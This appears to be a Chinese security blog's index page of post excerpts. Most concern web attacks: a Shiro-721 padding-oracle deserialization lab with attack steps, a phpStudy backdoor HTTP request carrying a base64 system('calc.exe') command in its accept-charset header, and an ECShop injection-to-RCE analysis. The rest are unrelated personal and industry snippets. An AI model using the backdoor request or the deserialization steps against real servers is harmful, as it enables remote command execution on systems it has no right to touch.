很久没发文章了，一个是因为忙，另一个就是不知道发什么，这次遇到一个上传觉得挺有意思的，就分享一下思路。
在客户现场驻场遇到的站点，我们乙方在挖洞的同时，甲方也有十多个人在同步挖洞。我们少挖到洞还要找我们麻烦，欲哭无泪，太难了。
当时通过另外一个漏洞getshell，还在暗自高兴的时候，翻目录的时候，看到一个TempFile的目录下有个名为shell.aspx的文件，文件上传时间在目标给我们的前几个小时（客户在给我们目标前，就让甲方的渗透人员先测试了），此时的我笑容逐渐消失，意识到问题的严重性。

0x00 简介

shiro是一个java场景使用较多组件，最近曝出因使用了 AES-128-CBC 模式对cookie进行加密，so可以padding oracle攻击构造数据进行反序列化攻击

0x02 影响版本

影响版本： shiro<1.4.1

0x03 环境搭建

git clone https://github.com/3ndz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721

0x04 漏洞利用

攻击流程：

1. 登录网站（勾选Remember），并从Cookie中获取合法的RememberMe。
2. 使用RememberMe cookie作为Padding Oracle Attack的前缀。
3. 加密 ysoserial 的序列化 payload，以通过Padding Oracle Attack制作恶意RememberMe。
4. 重放恶意RememberMe cookie，以执行反序列化攻击。
   阅读全文 »

请求任意后缀为php的文件

目标环境为php5.2,5.4,且不能为nts

存在Accept-Encoding: gzip,deflate

此处填写base64加密后的payload：accept-charset: c3lzdGVtKCdjYWxjLmV4ZScpOw

PayLoad:

1
2
3
4
5
6
7
8
9
10

GET /phpinfo.php HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Edg/77.0.235.27
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: none,
accept-charset: c3lzdGVtKCdjYWxjLmV4ZScpOw
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.9

其他更好玩的思路靠自己去思考

在学生时代感觉月薪一万好高，总觉得有1万元可以干很多事情，可以去旅游，可以买电脑啊，可以买零食等等

等工作，到手工资又一万了，反而感觉不高了。

这是一个正常的现象，这是很多大学生进入社会最深切的感受。

因为的你的生活水平变了，消费水平变高了，自然而然的对收入的要求也变高了。

俗话说的好，由俭入奢易，由奢入俭难。

前言

首先定义本文所说的现代化网站. 现代化网站是指符合以下多个特征的对外服务.

• 储存,数据库,网站程序等服务器高度分离
• 实现现代化前端技术, 如三大框架, html5新api, websocket
• 基于虚拟化技术的服务部署
• 使用现代后端框架,如ssm,think5,gin,django
• 外部服务高度集成
• 多种客户端,包括Android,Ios,windows

篇幅有限, 不再列举,但相信读者应该能理解笔者的意思.

不属于现代化网站最典型的例子就是 下载cms,安装lnmp,直接安装网站程序.
现在渗透教程基本都是基于不属于现代化网站的假设(实际上我还没发现基于渗透现代化网站假设的教程)

前言

问题发生在user.php的display函数，模版变量可控，导致注入，配合注入可达到远程代码执行

漏洞分析

0x01-SQL注入

先看user.php

最近一直很忙，V老哥发来一个站，说有一个上传点，问我要不要玩玩，当时太忙，就没去看，等过了几个小时以后，他说还没有突破，然后我叫他把后台和帐号密码发给我试试。

先打开后台看看，发现后台还是挺炫酷的。

嗯，一个文笔菜如老狗的我，我想写点什么，各位看官看看就好。

今年20出头，我相信大家入这行大多数都是从刷钻还有帐号被盗开始，我也不例外。
记得读初三的时候，开始接触刷钻，那个时候都是用手机卡刷钻。读到高一的时候，也就是那个时候开始，算是刚接触这行吧。
那个时候找了个师傅，好像花了50。。。。不过那时候学生党没有多少钱。当时学刷宽带钻，还有什么入侵啥的，反正当时觉得特别牛逼。
还有什么入侵三字经，慢慢的发现，叫他教技术总是各种敷衍，后来知道了他是骗子以后，就把我拉黑了。当时为了刷宽带钻，抓鸡而买了一台服务器。

近日，在《军武大本营第三季》节目中，360董事长周鸿祎对话局座召忠，两人大谈网络战争。

节目中局座提议网络战部队去360公司进行人才交流培养技能点，周鸿祎却表示黑客都是很有个性的人，很难用一种批量化的方法去培养。他同时还透露，黑客的收入很高，年薪百万千万不是问题。

0x00 前言

非常基础的代码审计练习，适合有php基础的审计新手练习

0x01 代码跟踪

首先，进入首页代码 ：index.php

包含了php文件：/include/common.inc.php